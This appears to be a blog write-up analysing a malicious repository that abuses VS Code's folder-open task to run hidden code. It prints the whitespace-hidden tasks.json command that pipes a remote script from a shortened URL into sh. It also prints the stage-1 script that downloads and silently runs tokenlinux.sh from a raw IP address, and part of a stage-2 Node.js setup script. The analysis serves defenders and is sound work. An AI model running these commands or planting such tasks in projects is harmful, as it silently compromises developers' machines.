&lt;h2 id=&quot;phase-1-the-initial-access-vector&quot;&gt;PHASE 1: The Initial Access Vector&lt;&#x2F;h2&gt;
&lt;p&gt;The threat actor assumes the victim will clone their compromised repository and open it directly in Visual Studio Code IDE. To uncover the execution trigger without infecting my machine, I inspected the configuration files manually via the terminal.&lt;&#x2F;p&gt;
&lt;p&gt;Static analysis of the cloned repository revealed a malicious execution trigger hidden inside &lt;code&gt;.vscode&#x2F;tasks.json&lt;&#x2F;code&gt; file.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;.vscode&#x2F;tasks.json&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BABED8; background-color: #292D3E;&quot;&gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;runOptions&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;runOn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;folderOpen&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;linux&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;command&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;:                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;wget -qO- &amp;#39;https:&#x2F;&#x2F;gurucooldown.short.gy&#x2F;gxUsMe8l&amp;#39; -L | sh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;(you need to scroll horizontally to the right)
This is NOT the complete .vscode&#x2F;tasks.json file content. Displaying only selected part.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;The Mechanism:&lt;&#x2F;strong&gt;
The attacker abused VS Code&#x27;s native task automation. By using specific flags like &lt;code&gt;&quot;runOn&quot;: &quot;folderOpen&quot;&lt;&#x2F;code&gt;, the IDE is instructed to silently execute a remote bash script the exact moment the repository is opened. The terminal is hidden from the user, making the initial infection invisible.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;phase-2-defeating-the-stage-1-attack&quot;&gt;PHASE 2: Defeating the Stage 1 Attack&lt;&#x2F;h2&gt;
&lt;p&gt;The &lt;code&gt;tasks.json&lt;&#x2F;code&gt; file downloads a shell script from a remote server and pipes it to the shell. So anyone opening this repository using VsCode is automatically attacked. Fortunately, I used my daily driver Helix editor. For the past couple years I&#x27;ve been a total terminal guy. So I happen to use my favourite editor: &lt;strong&gt;&lt;code&gt;Helix&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;. This allowed me to see the &lt;code&gt;.vscode&lt;&#x2F;code&gt; directory and suspicious code in the &lt;code&gt;tasks.json&lt;&#x2F;code&gt;. So  I manually downloaded the file safely using &lt;code&gt;wget&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;wget -qO payload.txt &#x27;https:&#x2F;&#x2F;gurucooldown.short.gy&#x2F;gxUsMe8l&#x27;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BABED8; background-color: #292D3E;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;#!&#x2F;bin&#x2F;bash&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -e&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;Authenticated&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;TARGET_DIR&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$HOME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;Documents&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;clear&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;wget&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -q -O&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$TARGET_DIR&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;tokenlinux.npl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;http:&#x2F;&#x2F;165.140.86.190:3000&#x2F;task&#x2F;tokenlinux?token=40abc18736c9&amp;amp;st=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpcCI6Ijo6ZmZmZjoxNTIuNTkuMTY3LjM4Iiwic2Vzc2lvbklkIjoiMzk1NjU5MTQtYzg3Zi00ZGUwLWE1MTUtNmQwMmJjYjYyOWY2Iiwic3RlcCI6MSwidGltZXN0YW1wIjoxNzc3NDU4ODUwNDgzLCJvcmlnVG9rZW4iOiI0MGFiYzE4NzM2YzkiLCJpYXQiOjE3Nzc0NTg4NTAsImV4cCI6MTc3NzQ1OTAzMH0.-TgaACMUSDLG67sxnGOUzUvLpUJIJaVZxJHMxRxjRMs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;clear&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;mv&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$TARGET_DIR&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;tokenlinux.npl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$TARGET_DIR&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;tokenlinux.sh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;clear&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;chmod&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; +x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$TARGET_DIR&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;tokenlinux.sh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;clear&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;$&#x2F;&#x2F;&amp;#39; &amp;quot;$TARGET_DIR&#x2F;tokenlinux.sh&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;clear&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;nohup bash &amp;quot;$TARGET_DIR&#x2F;tokenlinux.sh&amp;quot; &amp;gt; &#x2F;dev&#x2F;null 2&amp;gt;&amp;amp;1 &amp;amp;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;clear&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;exit 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Notice the JWT in the URL parameter. Upon decoding that, I got:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BABED8; background-color: #292D3E;&quot;&gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;ip&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;::ffff:152.59.167.38&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;sessionId&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;39565914-c87f-4de0-a515-6d02bcb629f6&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;step&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;timestamp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 1777458850483&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;origToken&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;40abc18736c9&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;iat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 1777458850&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;exp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 1777459030&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;It sents my IP (they didn&#x27;t know I used VPN) with session id and attached a short time duration to avoid analysis. So I crafted a shell script to bypass this duration block and move pass this stage.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;The Discovery:&lt;&#x2F;strong&gt;
The downloaded bash script (&lt;code&gt;payload.txt&lt;&#x2F;code&gt;) contained a Base64 encoded payload. Decoding it revealed a highly restrictive, time bound, IP-locked JWT authentication system designed specifically to block automated security sandboxes.&lt;&#x2F;p&gt;
&lt;p&gt;The phase 2 attack shell script (&lt;code&gt;tokenlinux.sh&lt;&#x2F;code&gt;) which is automatically downloaded and executed by the phase 1 shell script:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;tokenlinux.sh&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BABED8; background-color: #292D3E;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;#!&#x2F;bin&#x2F;bash&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;# Creating new Info&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -e&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;OS&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;=$(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;uname&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;# Remove leading &amp;quot;v&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;LATEST_VERSION&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;20.11.1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;NODE_VERSION&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;=${&lt;&#x2F;span&gt;&lt;span&gt;LATEST_VERSION&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;NODE_TARBALL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;node-v&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;${&lt;&#x2F;span&gt;&lt;span&gt;NODE_VERSION&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;DOWNLOAD_URL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;=&amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;NODE_DIR&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$HOME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;.task&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;${&lt;&#x2F;span&gt;&lt;span&gt;NODE_TARBALL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;# Step 1: Set the Node.js tarball and download URL based on the OS&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; [ &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$OS&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; == &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;Darwin&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; ];&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt; then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;    # macOS&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    NODE_TARBALL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$HOME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;.task&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;${&lt;&#x2F;span&gt;&lt;span&gt;NODE_TARBALL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;-darwin-x64.tar.xz&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    DOWNLOAD_URL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;https:&#x2F;&#x2F;nodejs.org&#x2F;dist&#x2F;v&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;${&lt;&#x2F;span&gt;&lt;span&gt;NODE_VERSION&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;node-v&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;${&lt;&#x2F;span&gt;&lt;span&gt;NODE_VERSION&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;-darwin-x64.tar.xz&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;elif&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; [ &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$OS&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; == &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;Linux&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; ];&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt; then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;    # Linux&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    NODE_TARBALL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$HOME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;.task&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;${&lt;&#x2F;span&gt;&lt;span&gt;NODE_TARBALL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;-linux-x64.tar.xz&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    DOWNLOAD_URL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;https:&#x2F;&#x2F;nodejs.org&#x2F;dist&#x2F;v&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;${&lt;&#x2F;span&gt;&lt;span&gt;NODE_VERSION&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;node-v&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;${&lt;&#x2F;span&gt;&lt;span&gt;NODE_VERSION&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;-linux-x64.tar.xz&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;else&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;    exit&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;# Step 2: Check if Node.js is installed&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;NODE_INSTALLED_VERSION&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;=$(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;node&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -v&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; 2&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;dev&#x2F;null&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; ||&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&amp;quot;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
